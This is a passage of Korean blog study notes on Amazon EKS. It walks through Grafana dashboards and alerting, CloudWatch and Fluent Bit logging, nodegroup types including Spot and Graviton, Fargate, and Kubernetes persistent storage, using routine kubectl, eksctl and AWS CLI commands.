- Candlestick is typically for financial data where the focus is price/data movement.
- Gauge is the traditional rounded visual showing how far a single metric is from a threshold.
Stats & numbers
- Stat for big stats and optional sparkline.
- Bar gauge is a horizontal or vertical bar gauge.
Misc
- Table is the main and only table visualization.
- Logs is the main visualization for logs.
- Node graph for directed graphs or networks.
- Traces is the main visualization for traces.
- Flame graph is the main visualization for profiling.
- Canvas allows you to explicitly place elements within static and dynamic layouts.
- Geomap helps you visualize geospatial data.
Widgets
- Dashboard list can list dashboards.
- Alert list can list alerts.
- Text can show markdown and html.
- News can show RSS feeds.

새로운 대시보드를 생성해 봅니다. 신규 대시보드 생성 → 패널 생성(Code 로 변경) → 쿼리 입력 후 Run queries 클릭 후 오른쪽 상단 Apply 클릭 → 대시보드 상단 저장

Time series : 아래 쿼리 입력 후 오른쪽 입력 → Title(노드별 5분간 CPU 사용 변화율)

node_cpu_seconds_total
rate(node_cpu_seconds_total[5m])
sum(rate(node_cpu_seconds_total[5m]))
sum(rate(node_cpu_seconds_total[5m])) by (instance)

Bar chart : Add → Visualization 오른쪽(Bar chart) ⇒ 쿼리 Options : Format(Table), Type(Instance) → Title(네임스페이스 별 디플로이먼트 개수)

kube_deployment_status_replicas_available
count(kube_deployment_status_replicas_available) by (namespace)

Stat : Add → Visualization 오른쪽(Stat) → Title(nginx 파드 수)

kube_deployment_spec_replicas
kube_deployment_spec_replicas{deployment="nginx"}

# scale out
kubectl scale deployment nginx --replicas 6

Gauge : Add → Visualization 오른쪽(Gauge) → Title(노드 별 1분간 CPU 사용률)

node_cpu_seconds_total{mode!~"guest.*|idle|iowait"}[1m]

node_cpu_seconds_total
node_cpu_seconds_total{mode="idle"}
node_cpu_seconds_total{mode="idle"}[1m]
rate(node_cpu_seconds_total{mode="idle"}[1m])
avg(rate(node_cpu_seconds_total{mode="idle"}[1m])) by (instance)
1 - (avg(rate(node_cpu_seconds_total{mode="idle"}[1m])) by (instance))

Table : Add → Visualization 오른쪽(Table) ⇒ 쿼리 Options : Format(Table), Type(Instance) → Title(노드 OS 정보)
- Transform data → Organize fields by name : id_like, instance, name, pretty_name

node_os_info

Grafana Alert

출처 :https://grafana.com/docs/grafana/latest/alerting/

Alerting → Alert rules → Create alert rule : nginx 웹 요청 1분 동안 누적 60 이상 시 Alert을 설정해 봅니다.

Folder와 Evaluation group(1m), Pending period(1m) 은 +New ... 클릭 후 신규로 만들어 주어야 새로운 Rule이 생성됩니다.

Alerting → Contact points → Add contact point : 슬랙으로의 알람을 설정한 뒤 테스트 버튼을 눌러 알람이 전송되는지 확인합니다.

Alerting → Notification policies : Default contact point를 slack으로 변경할 수 있습니다.

[AEWS] Logging

imxsuu — Mon, 25 Mar 2024 18:08:18 +0900

실습 환경은 Amazon EKS 윈클릭 배포를 통해 배포하였으며 기존 환경에 ebs addon, ec2 iam role add, irsa lb, preCmd 설정이 추가되었으며 노드는 t3.xlarge(기본값) 사용하였습니다. 자세한 CloudFormation의 내용은 링크를 통해 다운받아 확인할 수 있습니다.

curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/eks-oneclick3.yaml

Logging in EKS

AWS의 자체적인 로깅 시스템을 CloudWatch라고 합니다. EKS에서 이를 사용하기 위해서는 EKS 콘솔의 관찰성 탭에서 볼 수 있는 제어 플레인 로깅을 활성화해 주어야 합니다. 명령어와 콘솔 화면에서 모두 제어할 수 있으며 활성화가 완료되면 CloudWatch 콘솔에서 로그 그룹이 생성된 모습을 확인할 수 있습니다.

컨트롤 플레인의 로깅을 활성화해 봅니다.

# 모든 로깅 활성화
aws eks update-cluster-config --region $AWS_DEFAULT_REGION --name $CLUSTER_NAME \
    --logging '{"clusterLogging":[{"types":["api","audit","authenticator","controllerManager","scheduler"],"enabled":true}]}'

# 로그 그룹 확인
aws logs describe-log-groups | jq

# 로그 tail 확인 : aws logs tail help
aws logs tail /aws/eks/$CLUSTER_NAME/cluster | more

# 신규 로그를 바로 출력
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --follow

# 필터 패턴
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --filter-pattern <필터 패턴>

# 로그 스트림이름
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --log-stream-name-prefix <로그 스트림 prefix> --follow
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --log-stream-name-prefix kube-controller-manager --follow
kubectl scale deployment -n kube-system coredns --replicas=1
kubectl scale deployment -n kube-system coredns --replicas=2

# 시간 지정: 1초(s) 1분(m) 1시간(h) 하루(d) 한주(w)
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --since 1h30m

# 짧게 출력
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --since 1h30m --format short

CloudWatch 콘솔 화면에서 Logs Insights 메뉴를 통해 쿼리문으로 특정 로그들을 조회할 수 있습니다.

# EC2 Instance가 NodeNotReady 상태인 로그 검색
fields @timestamp, @message
| filter @message like /NodeNotReady/
| sort @timestamp desc

# kube-apiserver-audit 로그에서 userAgent 정렬해서 아래 4개 필드 정보 검색
fields userAgent, requestURI, @timestamp, @message
| filter @logStream ~= "kube-apiserver-audit"
| stats count(userAgent) as count by userAgent
| sort count desc

#
fields @timestamp, @message
| filter @logStream ~= "kube-scheduler"
| sort @timestamp desc

#
fields @timestamp, @message
| filter @logStream ~= "authenticator"
| sort @timestamp desc

#
fields @timestamp, @message
| filter @logStream ~= "kube-controller-manager"
| sort @timestamp desc

로깅 비활성화도 명령어를 통해 한번에 실행할 수 있습니다.

# EKS Control Plane 로깅(CloudWatch Logs) 비활성화
eksctl utils update-cluster-logging --cluster $CLUSTER_NAME --region $AWS_DEFAULT_REGION --disable-types all --approve

# 로그 그룹 삭제
aws logs delete-log-group --log-group-name /aws/eks/$CLUSTER_NAME/cluster

이번에는 NGINX 웹서버를 통해 컨테이너(파드)의 로깅을 활성해 봅니다. ACM 퍼블릭 인증서가 없으면 도메인과 연결 시 인그레스에서 권한 문제로 주소를 생성하지 못합니다. 따라서 ACM 퍼블릭 인증서를 생성해주고 해당 인증서에 대한 Route53 도메인 검증 설정을 위한 Route53 레코드를 생성해줍니다.

# NGINX 웹서버 배포
helm repo add bitnami https://charts.bitnami.com/bitnami

# 도메인 입력
MyDomain=<자신의 도메인>

# 도메인 확인
echo $MyDomain

#ACM 퍼블릭 인증서 요청
CERT_ARN=$(aws acm request-certificate \
--domain-name $MyDomain \
--validation-method 'DNS' \
--key-algorithm 'RSA_2048' \
|jq --raw-output '.CertificateArn')

# 사용 리전의 인증서 ARN 확인
CERT_ARN=$(aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text)
echo $CERT_ARN

# 자신의 Route 53 도메인 ID 조회 및 변수 지정
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name "${MyDomain}." --query "HostedZones[0].Id" --output text)

# 해당 인증서에 대한 Route53 도메인 검증 설정을 위한 Route53 레코드 생성
aws route53 change-resource-record-sets --hosted-zone-id $MyDnzHostedZoneId --change-batch file://cname.json

# 파라미터 파일 생성 : 인증서 ARN 지정하지 않아도 가능! 혹시 https 리스너 설정 안 될 경우 인증서 설정 추가(주석 제거)해서 배포 할 것
cat <<EOT > nginx-values.yaml
service:
  type: NodePort
  
networkPolicy:
  enabled: false

ingress:
  enabled: true
  ingressClassName: alb
  hostname: nginx.$MyDomain
  pathType: Prefix
  path: /
  annotations: 
    alb.ingress.kubernetes.io/scheme: internet-facing
    alb.ingress.kubernetes.io/target-type: ip
    alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
    alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
    alb.ingress.kubernetes.io/success-codes: 200-399
    alb.ingress.kubernetes.io/load-balancer-name: $CLUSTER_NAME-ingress-alb
    alb.ingress.kubernetes.io/group.name: study
    alb.ingress.kubernetes.io/ssl-redirect: '443'
EOT
cat nginx-values.yaml | yh

# 배포
helm install nginx bitnami/nginx --version 15.14.0 -f nginx-values.yaml

# 확인
kubectl get ingress,deploy,svc,ep nginx
kubectl get targetgroupbindings # ALB TG 확인

# 접속 주소 확인 및 접속
echo -e "Nginx WebServer URL = https://nginx.$MyDomain"
curl -s https://nginx.$MyDomain
kubectl logs deploy/nginx -f

웹페이지에서는 접속되지만 EC2에서 curl로 접속이 되지 않을 경우 이전 AWS DNS cache의 영향일 가능성이 있습니다.

## 외부에서는 접속이 잘되나, myeks EC2에서 url 접속이 잘 되지 않을 경우 : 이전 aws DNS cache 영향(추정)
dig +short nginx.$MyDomain
dig +short nginx.$MyDomain @192.168.0.2
dig +short nginx.$MyDomain @1.1.1.1
dig +short nginx.$MyDomain @8.8.8.8
cat /etc/resolv.conf
sed -i "s/^nameserver 192.168.0.2/nameserver 1.1.1.1/g" /etc/resolv.conf
cat /etc/resolv.conf
dig +short nginx.$MyDomain
dig +short nginx.$MyDomain @8.8.8.8
dig +short nginx.$MyDomain @192.168.0.2
curl -s https://nginx.$MyDomain
----

# 반복 접속
while true; do curl -s https://nginx.$MyDomain -I | head -n 1; date; sleep 1; done

Helm으로 설치한 파드는 Helm으로 삭제합니다.

# (참고) 삭제 시
helm uninstall nginx

Container Insights metrics in Amazon CloudWatch & Fluent Bit (Logs)

각 컨테이너 단위의 로그를 따로 출력하는 일은 많지 않고 실제로 서비스 운영에는 중앙화된 로그 시스템 솔루션이 필요합니다.

CloudWatch Container Insight는 컨테이너형 애플리케이션 및 마이크로 서비스에 대한 모니터링, 트러블 슈팅 및 알람을 위한 완전 관리형 관측 서비스입니다.
CloudWatch 콘솔에서 자동화된 대시보드를 통해 container metrics, Prometeus metrics, application logs 및 performance log events를 탐색, 분석 및 시각화할 수 있습니다.
CloudWatch Container Insight는 CPU, 메모리, 디스크 및 네트워크와 같은 인프라 메트릭을 자동으로 수집합니다.
EKS 클러스터의 crashloop backoffs와 같은 진단 정보를 제공하여 문제를 격리하고 신속하게 해결할 수 있도록 지원합니다.
이러한 대시보드는 Amazon ECS, Amazon EKS, AWS ECS Fargate 그리고 EC2 위에 구동되는 k8s 클러스터에서 사용 가능합니다.

출처 :https://aws.amazon.com/ko/blogs/containers/fluent-bit-integration-in-cloudwatch-container-insights-for-eks/

[수집] Fluent Bit 컨테이너를 데몬셋으로 동작시키고, 아래 3가지 종류의 로그를 CloudWatch Logs 에 전송합니다.
1. /aws/containerinsights/Cluster_Name/application : 로그 소스(All log files in /var/log/containers), 각 컨테이너/파드 로그
2. /aws/containerinsights/Cluster_Name/host : 로그 소스(Logs from /var/log/dmesg, /var/log/secure, and /var/log/messages), 노드(호스트) 로그
3. /aws/containerinsights/Cluster_Name/dataplane : 로그 소스(/var/log/journal for kubelet.service, kubeproxy.service, and docker.service), 쿠버네티스 데이터플레인 로그
[저장] : CloudWatch Logs 에 로그를 저장, 로그 그룹 별 로그 보존 기간 설정이 가능합니다.
[시각화] : CloudWatch 의 Logs Insights 를 사용하여 대상 로그를 분석하고, CloudWatch 의 대시보드로 시각화합니다.

CloudWatch Container observability as an Amazon EKS add-on

# 설치
aws eks create-addon --cluster-name $CLUSTER_NAME --addon-name amazon-cloudwatch-observability
aws eks list-addons --cluster-name myeks --output table

# 설치 확인
kubectl get-all -n amazon-cloudwatch
kubectl get ds,pod,cm,sa,amazoncloudwatchagent -n amazon-cloudwatch
kubectl describe clusterrole cloudwatch-agent-role amazon-cloudwatch-observability-manager-role    # 클러스터롤 확인
kubectl describe clusterrolebindings cloudwatch-agent-role-binding amazon-cloudwatch-observability-manager-rolebinding  # 클러스터롤 바인딩 확인
kubectl -n amazon-cloudwatch logs -l app.kubernetes.io/component=amazon-cloudwatch-agent -f # 파드 로그 확인
kubectl -n amazon-cloudwatch logs -l k8s-app=fluent-bit -f    # 파드 로그 확인

# cloudwatch-agent 설정 확인
kubectl describe cm cloudwatch-agent-agent -n amazon-cloudwatch

Fluent bit 데몬셋 파드의 정보를 상세하게 살펴보면 볼륨에 호스트패스로 /(root)를 바로 사용하는 것을 볼 수 있는데 이는 보안상 파드가 장악되면 해당 노드가 함께 장악되는 것이라 좋은 방법이 아니지만 아직까지 공식적으로 변경되지는 않아 사용 시 주의해야 합니다.

#Fluent bit 파드 수집하는 방법 : Volumes에 HostPath를 살펴보자! >> / 호스트 패스 공유??? 보안상 안전한가? 좀 더 범위를 좁힐수는 없을까요? 
kubectl describe -n amazon-cloudwatch ds cloudwatch-agent

# Fluent Bit 로그 INPUT/FILTER/OUTPUT 설정 확인 - 링크
## 설정 부분 구성 : application-log.conf , dataplane-log.conf , fluent-bit.conf , host-log.conf , parsers.conf
kubectl describe cm fluent-bit-config -n amazon-cloudwatch

# Fluent Bit 파드가 수집하는 방법 : Volumes에 HostPath를 살펴보자!
kubectl describe -n amazon-cloudwatch ds fluent-bit

Container Insights의 로그 분류대로 로그 그룹이 생성된 것을 콘솔 화면에서 확인 할 수 있습니다.

CloudWatch Container observability를 설치함으로써 CloudWatch 콘솔의 Container Insights 메뉴에서 대시보드 형태로 로그를 시각화할 수 있습니다.

Metrics-server & kwatch & botkube

Metrics-server : kubelet으로부터 수집한 리소스 메트릭을 수집 및 집계하는 클러스터 애드온 구성 요소

cAdvisor : kubelet에 포함된 컨테이너 메트릭을 수집, 집계, 노출하는 데몬

출처 :https://kubernetes.io/ko/docs/tasks/debug/debug-cluster/resource-metrics-pipeline/

# 배포
kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml

# 메트릭 서버 확인 : 메트릭은 15초 간격으로 cAdvisor를 통하여 가져옴
kubectl get pod -n kube-system -l k8s-app=metrics-server
kubectl api-resources | grep metrics
kubectl get apiservices |egrep '(AVAILABLE|metrics)'

# 노드 메트릭 확인
kubectl top node

# 파드 메트릭 확인
kubectl top pod -A
kubectl top pod -n kube-system --sort-by='cpu'
kubectl top pod -n kube-system --sort-by='memory'

kwatch : k8s 클러스터의 모든 변경 사항을 모니터링하고, 실행 중인 앱의 충돌을 실시간으로 감지하고, 채널(Slack, Discord 등)에 즉시 알림을 게시하는 데 도움이 됩니다.

# 닉네임
NICK=<각자 자신의 닉네임>

# configmap 생성
cat <<EOT > ~/kwatch-config.yaml
apiVersion: v1
kind: Namespace
metadata:
  name: kwatch
---
apiVersion: v1
kind: ConfigMap
metadata:
  name: kwatch
  namespace: kwatch
data:
  config.yaml: |
    alert:
      slack:
        webhook: '<웹훅 URL>'
        title: $NICK-EKS
        #text: Customized text in slack message
    pvcMonitor:
      enabled: true
      interval: 5
      threshold: 70
EOT
kubectl apply -f kwatch-config.yaml

# 배포
kubectl apply -f https://raw.githubusercontent.com/abahmed/kwatch/v0.8.5/deploy/deploy.yaml

잘못된 이미지 파드를 배포하여 슬랙 채널에 kwatch 알람이 오는지 확인합니다.

# 터미널1
watch kubectl get pod

# 잘못된 이미지 정보의 파드 배포
kubectl apply -f https://raw.githubusercontent.com/junghoon2/kube-books/main/ch05/nginx-error-pod.yml
kubectl get events -w

이미지 변경을 통해 ErrImagePull 이었던 파드의 STATUS를 Running으로 변경할 수 있습니다.

# 이미지 업데이트 방안2 : set 사용 - iamge 등 일부 리소스 값을 변경 가능!
kubectl set 
kubectl set image pod nginx-19 nginx-pod=nginx:1.19

kwatch 알람에 사용했던 파드를 삭제합니다.

# 삭제
kubectl delete pod nginx-19

[AEWS] Nodegroup & Fargate

imxsuu — Wed, 20 Mar 2024 17:53:01 +0900

Nodegroup

AWS Nodegroup은 Amazon EKS(Amazon Elastic Kubernetes Service)에서 사용되는 개념입니다. 이는 Kubernetes 클러스터 내에서 워커 노드(Worker Node)를 관리하기 위한 그룹을 나타냅니다. 보통은 EC2 인스턴스로 구성되며, EKS 클러스터 내에서 실행되는 컨테이너 워크로드를 처리합니다. Nodegroup은 특정 인스턴스 유형, 크기 및 구성으로 구성됩니다. 이를 통해 클러스터 내에서 다양한 유형의 워커 노드를 관리하고, 필요에 따라 스케일링하거나 업데이트할 수 있습니다. 또한 AWS CLI나 콘솔을 통해 Nodegroup을 생성, 관리 및 모니터링할 수 있습니다. [출처 : ChatGPT]

AWS 환경에서 쿠버네티스 파드를 운영할 때 스토리지 I/O의 처리량이 부족한 경향이 있어 보다 저렴한 비용으로 대체할 수 있는 서비스가 Instance store(임시 블록 스토리지)입니다. 기본 디스크 드라이브 오류, 인스턴스 중지, 인스턴스 최대 절전 모드로의 전환, 인스턴스 종료시에는 데이터가 손실되는 특징이 있습니다. 또한 EC2 스토리지(EBS) 정보에 출력되지 않습니다.

AWS 인스턴스 스토어는 Amazon Web Services(AWS)에서 제공하는 서비스 중 하나입니다. 이는 인스턴스의 로컬 스토리지를 제공하는 것으로, 일시적인 데이터를 저장하거나 처리할 때 유용합니다. 인스턴스 스토어는 EC2 인스턴스와 연결되어 있으며, 인스턴스가 종료되면 스토리지의 데이터도 함께 손실됩니다. 그러므로 인스턴스 스토어에 저장된 데이터는 일시적이고 영구적인 저장이 필요한 경우에는 다른 AWS 스토리지 서비스인 Amazon EBS(Elastic Block Store) 등을 사용해야 합니다. [출처 : ChatGPT]

신규 노드 그룹 ng2를 생성해봅니다.

# 인스턴스 스토어 볼륨이 있는 c5 모든 타입의 스토리지 크기
aws ec2 describe-instance-types \
 --filters "Name=instance-type,Values=c5*" "Name=instance-storage-supported,Values=true" \
 --query "InstanceTypes[].[InstanceType, InstanceStorageInfo.TotalSizeInGB]" \
 --output table
 
 # 신규 노드 그룹 생성
eksctl create nodegroup --help
eksctl create nodegroup -c $CLUSTER_NAME -r $AWS_DEFAULT_REGION --subnet-ids "$PubSubnet1","$PubSubnet2","$PubSubnet3" --ssh-access \
  -n ng2 -t c5d.large -N 1 -m 1 -M 1 --node-volume-size=30 --node-labels disk=nvme --max-pods-per-node 100 --dry-run > myng2.yaml

cat <<EOT > nvme.yaml
  preBootstrapCommands:
    - |
      # Install Tools
      yum install nvme-cli links tree jq tcpdump sysstat -y

      # Filesystem & Mount
      mkfs -t xfs /dev/nvme1n1
      mkdir /data
      mount /dev/nvme1n1 /data

      # Get disk UUID
      uuid=\$(blkid -o value -s UUID mount /dev/nvme1n1 /data) 

      # Mount the disk during a reboot
      echo /dev/nvme1n1 /data xfs defaults,noatime 0 2 >> /etc/fstab
EOT
sed -i -n -e '/volumeType/r nvme.yaml' -e '1,$p' myng2.yaml
eksctl create nodegroup -f myng2.yaml

# 노드 보안그룹 ID 확인
NG2SGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*ng2* --query "SecurityGroups[*].[GroupId]" --output text)
aws ec2 authorize-security-group-ingress --group-id $NG2SGID --protocol '-1' --cidr 192.168.1.100/32

# 워커 노드 SSH 접속
N4=<각자 자신의 워커 노드4번 Private IP 지정>
N4=192.168.3.160
ssh ec2-user@$N4 hostname

# 확인
ssh ec2-user@$N4 sudo nvme list
ssh ec2-user@$N4 sudo lsblk -e 7 -d
ssh ec2-user@$N4 sudo df -hT -t xfs
ssh ec2-user@$N4 sudo tree /data
ssh ec2-user@$N4 sudo cat /etc/fstab

# max-pod 확인
kubectl describe node -l disk=nvme | grep Allocatable: -A7
Allocatable:
  attachable-volumes-aws-ebs:  25
  cpu:                         1930m
  ephemeral-storage:           27905944324
  hugepages-1Gi:               0
  hugepages-2Mi:               0
  memory:                      3097552Ki
  pods:                        100

# kubelet 데몬 파라미터 확인 : --max-pods=29 --max-pods=100
ssh ec2-user@$N4 sudo ps -ef | grep kubelet

기존의 로컬 스토리지를 삭제하고 스토리지 클래스를 재생성하여 Instace store를 사용하도록 설정합니다.

# 기존 삭제
#curl -s -O https://raw.githubusercontent.com/rancher/local-path-provisioner/master/deploy/local-path-storage.yaml
cd
kubectl delete -f local-path-storage.yaml

#
sed -i 's/opt/data/g' local-path-storage.yaml
kubectl apply -f local-path-storage.yaml

Graviton (ARM) Instance 노드그룹 생성

Graviton (ARM) 인스턴스 노드그룹은 AWS(Amazon Web Services)에서 제공하는 서비스 중 하나입니다. Graviton 인스턴스는 ARM 프로세서를 기반으로 한 가상 서버입니다. 노드그룹은 여러 인스턴스를 관리하고 스케일링하는 데 사용되는 AWS Auto Scaling의 한 형태입니다.
이러한 노드그룹은 다음과 같은 장점을 제공합니다:
1. ARM 프로세서를 사용하여 비용을 절감하고 성능을 최적화합니다.
2. 다양한 애플리케이션 및 워크로드에 유연하게 대응할 수 있습니다.
3. AWS Auto Scaling을 통해 인스턴스의 수를 자동으로 조정하여 트래픽 변동에 대응할 수 있습니다.
Graviton 인스턴스 노드그룹은 클라우드 기반 애플리케이션을 개발하고 운영하는 데 유용한 솔루션 중 하나입니다. [출처 : ChatGPT]

인스턴스 타입에 g라는 Processor family가 추가되어 구분됩니다.

CPU별로 노드그룹을 생성하여 파드를 배치하면 비용 절감과 보다 최적화된 성능을 기대할 수 있습니다.

현재 배포된 워커 노드의 CPU 종류를 확인할 수 있습니다.

kubectl get nodes -L kubernetes.io/arch

ng3이라는 신규 노드 그룹을 생성합니다.

# 신규 노드 그룹 생성
eksctl create nodegroup --help
eksctl create nodegroup -c $CLUSTER_NAME -r $AWS_DEFAULT_REGION --subnet-ids "$PubSubnet1","$PubSubnet2","$PubSubnet3" --ssh-access \
  -n ng3 -t t4g.medium -N 1 -m 1 -M 1 --node-volume-size=30 --node-labels family=graviton --dry-run > myng3.yaml
eksctl create nodegroup -f myng3.yaml

# 확인
kubectl get nodes --label-columns eks.amazonaws.com/nodegroup,kubernetes.io/arch
kubectl describe nodes --selector family=graviton
aws eks describe-nodegroup --cluster-name $CLUSTER_NAME --nodegroup-name ng3 | jq .nodegroup.taints

CPU 아키텍처가 컨테이너 이미지마다 다르므로 해당되는 이미지만 해당 노드에 생성하기 위해 새롭게 생성된 노드 그룹 ng3에 taints를 설정합니다.

# taints 셋팅 -> 적용에 2~3분 정도 시간 소요
aws eks update-nodegroup-config --cluster-name $CLUSTER_NAME --nodegroup-name ng3 --taints "addOrUpdateTaints=[{key=frontend, value=true, effect=NO_EXECUTE}]"

# 확인
kubectl describe nodes --selector family=graviton | grep Taints
aws eks describe-nodegroup --cluster-name $CLUSTER_NAME --nodegroup-name ng3 | jq .nodegroup.taints

gravtion기반의 이미지를 해당 노드에 잘 배포되는지 테스트해봅니다.

cat << EOT > busybox.yaml
apiVersion: v1
kind: Pod
metadata:
  name: busybox
spec:
  terminationGracePeriodSeconds: 3
  containers:
  - name: busybox
    image: busybox
    command:
    - "/bin/sh"
    - "-c"
    - "while true; do date >> /home/pod-out.txt; cd /home; sync; sync; sleep 10; done"
  tolerations:
    - effect: NoExecute
      key: frontend
      operator: Exists
EOT
kubectl apply -f busybox.yaml

# 파드가 배포된 노드 정보 확인
kubectl get pod -owide

# 삭제
kubectl delete pod busybox
eksctl delete nodegroup -c $CLUSTER_NAME -n ng3

Spot instances

인스턴스를 선택할 수 있는 필터링과 같은 정보들을 가져올 수 있는 툴을 설치해 사용합니다.

GitHub - aws/amazon-ec2-instance-selector: A CLI tool and go library which recommends instance types based on resource criteria

A CLI tool and go library which recommends instance types based on resource criteria like vcpus and memory - aws/amazon-ec2-instance-selector

github.com

# ec2-instance-selector 설치
curl -Lo ec2-instance-selector https://github.com/aws/amazon-ec2-instance-selector/releases/download/v2.4.1/ec2-instance-selector-`uname | tr '[:upper:]' '[:lower:]'`-amd64 && chmod +x ec2-instance-selector
mv ec2-instance-selector /usr/local/bin/
ec2-instance-selector --version

# 사용
ec2-instance-selector --vcpus 2 --memory 4 --gpus 0 --current-generation -a x86_64 --deny-list 't.*' --output table-wide

#Internally ec2-instance-selector is making calls to the DescribeInstanceTypes for the specific region and filtering the instances based on the criteria selected in the command line, in our case we filtered for instances that meet the following criteria:
- Instances with no GPUs
- of x86_64 Architecture (no ARM instances like A1 or m6g instances for example)
- Instances that have 2 vCPUs and 4 GB of RAM
- Instances of current generation (4th gen onwards)
- Instances that don’t meet the regular expression t.* to filter out burstable instance types

노드 그룹을 나눌 때에 On Demand 노드 그룹에서 Prod환경에서의 중요한 파드들을 운영하고, Dev환경이나 Staging환경이지만 리스크가 없는 파드들은 Spot 인스턴스 노드 그룹에 배포되도록 전략을 설정하면 비용을 보다 효율적으로 사용할 수 있습니다.

Spot Instances를 배포하기 전에 현재 생성되어 있는 노드 그룹의 cpapcityType을 확인하면 On Demand 타입만 존재하는 것을 확인할 수 있습니다. 이제 새로운 Spot Instance 타입의 노드 그룹을 배포해 보겠습니다.

kubectl get nodes -L eks.amazonaws.com/capacityType

IAM 롤 맵핑을 위해 node-role 옵션에 현재 생성되어 있는 노드 그룹에 연결되어 있는 IAM 역할에서 ARN을 복사해서 입력합니다.

# 생성 : 아래 node-role 은 각자 자신의 노드롤 ARN을 입력하자
# role AWSServiceRoleForAmazonEKSNodegroup 테스트해보자
aws eks create-nodegroup \
  --cluster-name $CLUSTER_NAME \
  --nodegroup-name managed-spot \
  --subnets $PubSubnet1 $PubSubnet2 $PubSubnet3 \
  --node-role arn:aws:iam::856192249812:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-j7XJniFtsKYm \
  --instance-types c5.large c5d.large c5a.large \
  --capacity-type SPOT \
  --scaling-config minSize=2,maxSize=3,desiredSize=2 \
  --disk-size 20

생성된 노드 그룹과 스팟 요청을 확인할 수 있습니다.

kubectl get nodes -L eks.amazonaws.com/capacityType,eks.amazonaws.com/nodegroup

노드 셀렉터를 통해 Spot Instance 노드 그룹에 파드 배포를 테스트해봅니다.

cat << EOT > busybox.yaml
apiVersion: v1
kind: Pod
metadata:
  name: busybox
spec:
  terminationGracePeriodSeconds: 3
  containers:
  - name: busybox
    image: busybox
    command:
    - "/bin/sh"
    - "-c"
    - "while true; do date >> /home/pod-out.txt; cd /home; sync; sync; sleep 10; done"
  nodeSelector:
    eks.amazonaws.com/capacityType: SPOT
EOT
kubectl apply -f busybox.yaml

# 파드가 배포된 노드 정보 확인
kubectl get pod -owide

# 삭제
kubectl delete pod busybox
eksctl delete nodegroup -c $CLUSTER_NAME -n managed-spot

Fargate

AWS Fargate는 Amazon Web Services(AWS)에서 제공하는 컨테이너 오케스트레이션 서비스 중 하나입니다. 이 서비스는 컨테이너 기반 애플리케이션을 실행할 때 관리 작업을 최소화하고 사용자가 애플리케이션에 집중할 수 있도록 도와줍니다. 사용자는 인프라 관리나 서버 프로비저닝에 대해 걱정하지 않고도 컨테이너를 실행할 수 있습니다. AWS Fargate는 애플리케이션에 필요한 컴퓨팅 리소스를 자동으로 관리하므로 효율적으로 자원을 활용할 수 있습니다. 이를 통해 사용자는 개발과 배포에 집중할 수 있으며 유연하고 확장 가능한 애플리케이션을 구축할 수 있습니다. [출처 : ChatGPT]

AWS EKS를 사용하면 쿠버네티스의 컨트롤 플레인은 AWS가 관리해주어 사용자는 데이터 플레인(워커 노드)를 관리하지만 Fargate를 사용하면 데이터 플레인까지 AWS에서 관리해줍니다. 따라서 클러스터 오토스케일러와 같은 노드 관리가 불필요하며 파드 레벨에서 VM 수준의 격리가 가능합니다. EKS(컨트롤 플레인) + Fargate(데이터 플레인)의 완전한 서버리스화(=AWS 관리형)

출처 : https://www.eksworkshop.com/docs/fundamentals/fargate/

파게이트 프로파일(프라이빗 서브넷, 네임스페이스, 레이블 조건)을 생성하여 지정한 파드가 파게이트에서 동작하게 합니다.

EKS는 스케줄러가 특정 조건을 기준으로 어느 노드에 파드를 동작시킬지 결정합니다. 혹은 특정 설정을 통해 특정 노드에 파드를 동작시키는 것도 가능합니다. Fargate는 한 개의 VM에 한 개의 컨테이너를 생성합니다. 즉, Fargate Node의 IP와 Pod의 IP가 1:1로 매칭됩니다. AWS에서는 EC2와 Fargate를 혼합하여 클러스터를 구성할 수 있습니다.

[AEWS] Storage

imxsuu — Mon, 18 Mar 2024 16:39:38 +0900

스토리지 이해

Kubernetes를 위한 영구 스토리지 적용하기 | Amazon Web Services

이 글은 AWS Storage Blog에 게시된 Persistent storage for Kubernetes by Suman Debnath, Daniel Rubinstein, Anjani Reddy, and Narayana Vemburaj을 한국어 번역 및 편집하였습니다. 상태 저장 애플리케이션이 올바르게 실행되기

aws.amazon.com

파드 내부의 데이터는 파드가 정지되면 모두 삭제됩니다. 즉, 파드는 모두 상태가 없는(Stateless) 애플리케이션입니다.

출처 : https://aws.amazon.com/ko/blogs/tech/persistent-storage-for-kubernetes/

파드도 데이터베이스처럼 데이터 보존이 필요한 경우를 위해 NFS, AWS EBS, Ceph와 같은 영구 볼륨을 지원하게 되었고 PV(Persistent Volumes)와 PVC(Persistent Volumes Claim)를 이용하여 어느 노드에서도 연결하여 사용 가능합니다.

파드가 생성될 때 자동으로 볼륨을 마운트하여 파드에 연결하는 기능을 동적 프로비저닝(Dynamic Provisioning)이라고 합니다.

출처 : https://aws.amazon.com/ko/blogs/tech/persistent-storage-for-kubernetes/

퍼시스턴트 볼륨의 사용이 끝났을 때 해당 볼륨은 어떻게 초기화할 것인지 별도로 설정할 수 있는데, 쿠버네티스는 이를 Reclaim Policy 라고 부르며 Reclaim Policy 에는 크게 Retain(보존), Delete(볼륨도 함께 삭제), ~~Recycle~~ 방식이 있습니다.

경고: Recycle 반환 정책은 더 이상 사용하지 않습니다. 대신 동적 프로비저닝이 권장됩니다.

AWS CSI Driver

CSI Driver 배경 : Kubernetes source code 내부에 존재하는 AWS EBS provisioner는 당연히 Kubernetes release lifecycle을 따라서 배포되므로, provisioner 신규 기능을 사용하기 위해서는 Kubernetes version을 업그레이드해야 하는 제약 사항이 있습니다. 따라서, Kubernetes 개발자는 Kubernetes 내부에 내장된 provisioner (in-tree)를 모두 삭제하고, 별도의 controller Pod을 통해 동적 provisioning을 사용할 수 있도록 만들었습니다. 이것이 바로 CSI (Container Storage Interface) driver 입니다.
AWS는 Amazon EBS , Amazon EFS 및 Amazon FSx for Lustre 용 CSI 플러그인을 제공하고 있습니다.
